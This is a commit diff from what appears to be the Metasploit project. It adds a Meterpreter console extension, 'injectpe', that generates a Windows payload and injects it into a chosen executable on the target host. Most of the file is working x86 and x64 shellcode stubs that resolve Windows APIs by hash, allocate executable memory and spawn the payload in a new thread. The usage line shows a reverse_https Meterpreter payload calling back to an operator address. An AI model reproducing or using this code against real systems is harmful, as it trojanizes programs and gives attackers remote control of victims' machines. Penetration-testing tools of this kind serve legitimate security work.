Peinjector meterpreter extension interface added
alpiste
bwatters-r7
parent
015abca8af
commit
55299561b1
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@ -0,0 +1,346 @@
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# -*- coding: binary -*-
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require 'rex/post/meterpreter'
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require 'pry'
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module Rex
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module Post
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module Meterpreter
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module Ui
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###
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#
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# Peinjector extension - inject a given shellcode into an executable file
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#
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###
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class Console::CommandDispatcher::Peinjector
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Klass = Console::CommandDispatcher::Peinjector
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include Console::CommandDispatcher
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#
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# Name for this dispatcher
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#
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def name
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'Peinjector'
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end
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#
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# List of supported commands.
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#
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def commands
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{
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'injectpe' => 'Inject a shellcode into a given executable'
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}
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end
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@@injectpe_opts = Rex::Parser::Arguments.new(
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'-p' => [true, 'Windows Payload to inject into the targer executable.'],
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'-t' => [true, 'Path of the target executable to be injected'],
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'-o' => [true, 'Comma separated list of additional options for payload if needed in \'opt1=val,opt2=val\' format.'],
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'-h' => [false, 'Help banner']
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)
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def injectpe_usage
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print_line('Usage: injectpe -p < windows/meterpreter/reverse_https > -t < c:\target_file.exe >, -o < lhost=192.168.1.123, lport=4443 >')
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print_line
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print_line('Inject a shellcode on the target executable.')
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print_line(@@injectpe_opts.usage)
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end
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#
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# Inject a given shellcode into a remote executable
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#
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def cmd_injectpe(*args)
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if args.length == 0 || args.include?('-h')
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injectpe_usage
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return false
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end
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opts = {
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payload: nil,
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targetpe: nil,
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options: nil
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}
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@@injectpe_opts.parse(args) { |opt, idx, val|
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case opt
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when '-p'
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opts[:payload] = val
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when '-t'
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opts[:targetpe] = val
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when '-o'
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opts[:options] = val
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end
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}
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payload = create_payload(opts[:payload], opts[:options])
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inject_payload(payload, opts[:targetpe])
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end
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# Create a payload given a name, lhost and lport, additional options
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def create_payload(name, opts = "")
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pay = client.framework.payloads.create(name)
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pay.datastore['EXITFUNC'] = 'thread'
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pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler
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if not opts.blank?
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opts.split(",").each do |o|
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opt,val = o.split("=",2)
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pay.datastore[opt] = val
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end
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end
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# Validate the options for the module
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pay.options.validate(pay.datastore)
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return pay
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end
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def inject_payload(pay, targetpe)
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begin
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print_status("Generating payload")
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raw = pay.generate
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param = {}
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if pay.arch.join == ARCH_X64
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threaded_shellcode = add_thread_x64(raw)
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param[:isx64] = true
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else
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threaded_shellcode = add_thread_x86(raw)
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param[:isx64] = false
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end
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param[:shellcode] = threaded_shellcode
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param[:targetpe] = targetpe
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param[:size] = threaded_shellcode.length;
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print_status("Injecting #{pay.name} into the executable #{targetpe}")
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client.peinjector.inject_shellcode(param)
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print_good("Successfully injected payload into the executable: #{targetpe}")
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rescue ::Exception => e
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print_error("Failed to Inject Payload to executable #{targetpe}!")
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print_error(e.to_s)
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end
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end
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def add_thread_x86(payload)
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stackpreserve = "\x90\x90\x60\x9c"
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shellcode = "\xE8\xB7\xFF\xFF\xFF"
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shellcode += payload
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thread = "\xFC\x90\xE8\xC1\x00\x00\x00\x60\x89\xE5\x31\xD2\x90\x64\x8B" +
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"\x52\x30\x8B\x52\x0C\x8B\x52\x14\xEB\x02" +
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"\x41\x10\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61" +
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"\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x90\x57\x8B" +
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"\x52\x10\x90\x8B\x42\x3C\x01\xD0\x90\x8B\x40\x78\xEB\x07\xEA\x48" +
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"\x42\x04\x85\x7C\x3A\x85\xC0\x0F\x84\x68\x00\x00\x00\x90\x01\xD0" +
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"\x50\x90\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x58\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x90\x31\xC0\xEB\x04\xFF\x69\xD5\x38\xAC\xC1\xCF" +
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"\x0D\x01\xC7\x38\xE0\xEB\x05\x7F\x1B\xD2\xEB\xCA\x75\xE6\x03\x7D" +
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"\xF8\x3B\x7D\x24\x75\xD4\x58\x90\x8B\x58\x24\x01\xD3\x90\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x90\xEB\x04\xCD\x97\xF1\xB1\x8B\x04" +
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"\x8B\x01\xD0\x90\x89\x44\x24\x24\x5B\x5B\x61\x90\x59\x5A\x51\xEB" +
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"\x01\x0F\xFF\xE0\x58\x90\x5F\x5A\x8B\x12\xE9\x53\xFF\xFF\xFF\x90" +
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"\x5D\x90" +
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"\xBE"
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thread +=[shellcode.length - 5].pack("V")
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thread += "\x90\x6A\x40\x90\x68\x00\x10\x00\x00" +
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"\x56\x90\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC3\x89\xC7\x90" +
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"\x89\xF1"
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thread += "\xeb\x44" # <--length of shellcode below
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thread += "\x90\x5e"
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thread += "\x90\x90\x90" +
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"\xF2\xA4" +
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"\xE8\x20\x00\x00" +
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"\x00\xBB\xE0\x1D\x2A\x0A\x90\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06" +
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"\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF" +
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"\xD5\x31\xC0\x50\x50\x50\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5" +
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"\x58\x58\x90\x61"
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thread += "\xe9"
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thread += [shellcode.length].pack("V")
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return stackpreserve + thread + shellcode
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end
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def add_thread_x64(payload)
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stackpreserve = "\x90\x90\x50\x53\x51\x52\x56\x57\x54\x55\x41\x50" +
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"\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9c"
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stackrestore = "\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" +
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"\x41\x58\x5d\x5c\x5f\x5e\x5a\x59\x5b\x58"
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stackpreserve = "\x90\x50\x53\x51\x52\x56\x57\x55\x41\x50" +
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"\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9c"
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shellcode = "\xE8\xB8\xFF\xFF\xFF"
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shellcode += payload
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thread = "\x90" + # <--THAT'S A NOP. \o/
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"\xe8\xc0\x00\x00\x00" + # jmp to allocate
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# api_call
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"\x41\x51" + # push r9
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"\x41\x50" + # push r8
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"\x52" + # push rdx
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"\x51" + # push rcx
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"\x56" + # push rsi
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"\x48\x31\xD2" + # xor rdx,rdx
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"\x65\x48\x8B\x52\x60" + # mov rdx,qword ptr gs:[rdx+96]
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"\x48\x8B\x52\x18" + # mov rdx,qword ptr [rdx+24]
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"\x48\x8B\x52\x20" + # mov rdx,qword ptr[rdx+32]
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# next_mod
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"\x48\x8b\x72\x50" + # mov rsi,[rdx+80]
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"\x48\x0f\xb7\x4a\x4a" + # movzx rcx,word [rdx+74]
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"\x4d\x31\xc9" + # xor r9,r9
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# loop_modname
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"\x48\x31\xc0" + # xor rax,rax
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"\xac" + # lods
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"\x3c\x61" + # cmp al, 61h (a)
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"\x7c\x02" + # jl 02
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"\x2c\x20" + # sub al, 0x20
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# not_lowercase
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"\x41\xc1\xc9\x0d" + # ror r9d, 13
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"\x41\x01\xc1" + # add r9d, eax
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"\xe2\xed" + # loop until read, back to xor rax, rax
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"\x52" + # push rdx ;Save the current position in the module list
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"\x41\x51" + # push r9 ; Save the current module hash for later
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# ; Proceed to itterate the export address table,
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"\x48\x8b\x52\x20" + # mov rdx, [rdx+32] ; Get this modules base address
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"\x8b\x42\x3c" + # mov eax, dword [rdx+60] ; Get PE header
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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"\x8b\x80\x88\x00\x00\x00" + # mov eax, dword [rax+136] ; Get export tables RVA
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"\x48\x85\xc0" + # test rax, rax ; Test if no export address table
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"\x74\x67" + # je get_next_mod1 ; If no EAT present, process the nex
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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"\x50" + # push rax ; Save the current modules EAT
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"\x8b\x48\x18" + # mov ecx, dword [rax+24] ; Get the number of function
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"\x44\x8b\x40\x20" + # mov r8d, dword [rax+32] ; Get the rva of the function
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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# get_next_func: ;
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"\xe3\x56" + # jrcxz get_next_mod; When we reach the start of the EAT
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"\x48\xff\xc9" + # dec rcx ; Decrement the function name counter
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"\x41\x8b\x34\x88" + # mov esi, dword [r8+rcx*4]; Get rva of next module name
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"\x48\x01\xd6" + # add rsi, rdx ; Add the modules base address
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"\x4d\x31\xc9" + # xor r9, r9 ; Clear r9 which will store the hash
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# ; And compare it to the one we wan
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# loop_funcname: ;
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"\x48\x31\xc0" + # xor rax, rax ; Clear rax
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"\xac" + # lodsb ; Read in the next byte of the ASCII funct name
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"\x41\xc1\xc9\x0d" + # ror r9d, 13 ; Rotate right our hash value
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"\x41\x01\xc1" + # add r9d, eax ; Add the next byte of the name
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"\x38\xe0" + # cmp al, ah ; Compare AL to AH (null)
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"\x75\xf1" + # jne loop_funcname ; continue
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"\x4c\x03\x4c\x24\x08" + # add r9, [rsp+8] ; Add the current module hash
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"\x45\x39\xd1" + # cmp r9d, r10d ; Compare the hash
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"\x75\xd8" + # jnz get_next_func ; Go compute the next function hash
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"\x58" + # pop rax ; Restore the current modules EAT
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"\x44\x8b\x40\x24" + # mov r8d, dword [rax+36] ; Get the ordinal table rva
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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"\x66\x41\x8b\x0c\x48" + # mov cx, [r8+2*rcx] ; Get the desired functions ordinal
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"\x44\x8b\x40\x1c" + # mov r8d, dword [rax+28] ; Get the funct addr table rva
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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"\x41\x8b\x04\x88" + # mov eax, dword [r8+4*rcx]; Get the desired func RVA
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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# finish:
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"\x41\x58" + # pop r8 ; Clear off the current modules hash
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"\x41\x58" + # pop r8 ;Clear off the curr position in the module list
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"\x5E" + # pop rsi ; Restore RSI
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"\x59" + # pop rcx ; Restore the 1st parameter
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"\x5A" + # pop rdx ; Restore the 2nd parameter
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"\x41\x58" + # pop r8 ; Restore the 3rd parameter
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"\x41\x59" + # pop r9 ; Restore the 4th parameter
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"\x41\x5A" + # pop r10 ; pop off the return address
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"\x48\x83\xEC\x20" + # sub rsp, 32 ; reserve space for the register params
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"\x41\x52" + # push r10 ; push back the return address
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"\xFF\xE0" + # jmp rax ; Jump into the required function
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# get_next_mod: ;
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"\x58" + # pop rax ; Pop off the current modules EAT
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# get_next_mod1: ;
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"\x41\x59" + # pop r9 ; Pop off the current modules hash
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"\x5A" + # pop rdx ; Restore our position in the module list
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"\x48\x8B\x12" + # mov rdx, [rdx] ; Get the next module
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"\xe9\x57\xff\xff\xff" # jmp next_mod ; Process this module
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# allocate
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thread += "\x5d" + # pop rbp
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"\x49\xc7\xc6" # mov r14, 1abh size of payload...
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thread += [shellcode.length - 5].pack("V")
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thread += "\x6a\x40" + # push 40h
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"\x41\x59" + # pop r9 now 40h
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"\x68\x00\x10\x00\x00" + # push 1000h
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"\x41\x58" + # pop r8.. now 1000h
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"\x4C\x89\xF2" + # mov rdx, r14
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"\x6A\x00" + # push 0
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"\x59" + # pop rcx
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"\x68\x58\xa4\x53\xe5" + # push E553a458
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"\x41\x5A" + # pop r10
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"\xff\xd5" + # call rbp
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"\x48\x89\xc3" + # mov rbx, rax ; Store allocated address in ebx
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"\x48\x89\xc7" # mov rdi, rax ; Prepare EDI with the new address
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thread += "\x48\xc7\xc1"
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thread += [shellcode.length - 5].pack("V")
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thread += "\xeb\x43"
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# got_payload:
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thread += "\x5e" + # pop rsi ; Prepare ESI with the source
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"\xf2\xa4" + # rep movsb ; Copy the payload to RWX memo
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"\xe8\x00\x00\x00\x00" + # call set_handler ; Configure error handling
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# set_handler:
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"\x48\x31\xC0" + # xor rax,rax
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"\x50" + # push rax ; LPDWORD lpThreadId (NULL)
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"\x50" + # push rax ; DWORD dwCreationFlags (0)
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"\x49\x89\xC1" + # mov r9, rax ; LPVOID lpParameter (NULL)
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"\x48\x89\xC2" + # mov rdx, rax ; LPTHREAD_START_ROUTINE (payload)
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"\x49\x89\xD8" + # mov r8, rbx ; SIZE_T dwStackSize (0 for default)
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"\x48\x89\xC1" + # mov rcx, rax ; LPSECURITY_ATTRIBUTES (NULL)
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"\x49\xC7\xC2\x38\x68\x0D\x16" + # mov r10, 0x160D6838 ; hash("kernel32.dll","CreateThread")
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"\xFF\xD5" + # call rbp ; Spawn payload thread
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"\x48\x83\xC4\x58" + # add rsp, 50
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# stackrestore
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"\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" +
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"\x41\x58\x5d\x5f\x5e\x5a\x59\x5b\x58"
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thread += "\xe9"
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thread += [shellcode.length].pack("V")
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return stackpreserve + thread + shellcode
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end
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end
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end
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end
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end
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end
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